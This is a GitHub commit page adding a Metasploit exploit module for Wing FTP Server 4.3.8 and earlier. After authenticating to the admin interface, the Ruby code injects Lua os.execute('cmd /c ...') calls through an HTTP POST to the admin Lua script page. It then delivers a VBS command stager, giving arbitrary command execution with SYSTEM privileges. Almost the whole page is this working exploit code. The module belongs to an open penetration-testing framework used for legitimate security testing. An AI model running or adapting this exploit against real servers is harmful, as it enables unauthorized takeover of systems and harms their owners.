Skip to content

Commit 40b66fa

Browse files
committed
Add Wing FTP Server post-auth remote command execution module
1 parent b3e8987 commit 40b66fa

File tree

1 file changed

+123
-0
lines changed

1 file changed

+123
-0
lines changed
Lines changed: 123 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,123 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/exploit/powershell'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
include REXML
11+
include Msf::Exploit::CmdStager
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Wing FTP Server Remote Command Execution',
17+
'Description' => %q{
18+
This module exploits the embedded Lua interpreter in the admin interface for
19+
versions 4.3.8 and below. When supplying a specially crafted HTTP POST request
20+
an attacker can use os.execute() to execute arbitrary system commands on
21+
the target with SYSTEM privileges.
22+
},
23+
'Author' =>
24+
[
25+
'Nicholas Nam (nick[at]executionflow.org)',
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
[ 'URL', 'http://www.wftpserver.com' ]
31+
],
32+
'Arch' => ARCH_X86,
33+
'Platform' => 'win',
34+
'Targets' =>
35+
[
36+
[ 'Windows VBS Stager', {} ]
37+
],
38+
'Privileged' => true,
39+
'DisclosureDate' => 'Jun 19 2014',
40+
'DefaultTarget' => 0
41+
))
42+
43+
register_options(
44+
[
45+
Opt::RPORT(5466),
46+
OptString.new('USERNAME', [true, 'Admin username', '']),
47+
OptString.new('PASSWORD', [true, 'Admin password', ''])
48+
], self.class
49+
)
50+
deregister_options('CMDSTAGER::FLAVOR')
51+
end
52+
53+
def check
54+
res = send_request_cgi(
55+
{
56+
'uri' => '/admin_login.html',
57+
'method' => 'GET',
58+
})
59+
60+
if res and res.body =~ /Wing FTP Server Administrator/ and res.body =~ /2003-2014 <b>wftpserver.com<\/b>/
61+
return Exploit::CheckCode::Appears
62+
end
63+
64+
return Exploit::CheckCode::Safe
65+
end
66+
67+
def exploit
68+
username = datastore['USERNAME']
69+
password = datastore['PASSWORD']
70+
@session_cookie = authenticate(username, password)
71+
72+
print_status("#{peer} - Sending payload")
73+
# Execute the cmdstager, max length of the commands is ~1500
74+
execute_cmdstager({:flavor => :vbs, :linemax => 1500})
75+
end
76+
77+
def execute_command(cmd, opts = {})
78+
command = "os.execute('cmd /c #{cmd}')"
79+
80+
res = send_request_cgi({
81+
'uri' => '/admin_lua_script.html',
82+
'method' => 'POST',
83+
'cookie' => @session_cookie,
84+
'vars_post' => { 'command' => command }
85+
})
86+
87+
if res and res.code != 200
88+
fail_with(Failure::Unknown, "#{peer} - Something went wrong.")
89+
end
90+
end
91+
92+
def authenticate(username, password)
93+
print_status("#{peer} - Authenticating")
94+
res = send_request_cgi({
95+
'uri' => '/admin_loginok.html',
96+
'method' => 'POST',
97+
'vars_post' => {
98+
'username' => username,
99+
'password' => password,
100+
'username_val' => username,
101+
'password_val' => password,
102+
'submit_btn' => '+Login+'
103+
}
104+
})
105+
106+
uidadmin = ''
107+
if res and res.body =~ /location='main.html\?lang=english';/
108+
res.get_cookies.split(';').each do |cookie|
109+
cookie.split(',').each do |value|
110+
if value.split('=')[0] =~ /UIDADMIN/
111+
uidadmin = value.split('=')[1]
112+
end
113+
end
114+
end
115+
else
116+
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
117+
end
118+
119+
return "UIDADMIN=#{uidadmin}"
120+
end
121+
122+
end
123+

0 commit comments

Comments
 (0)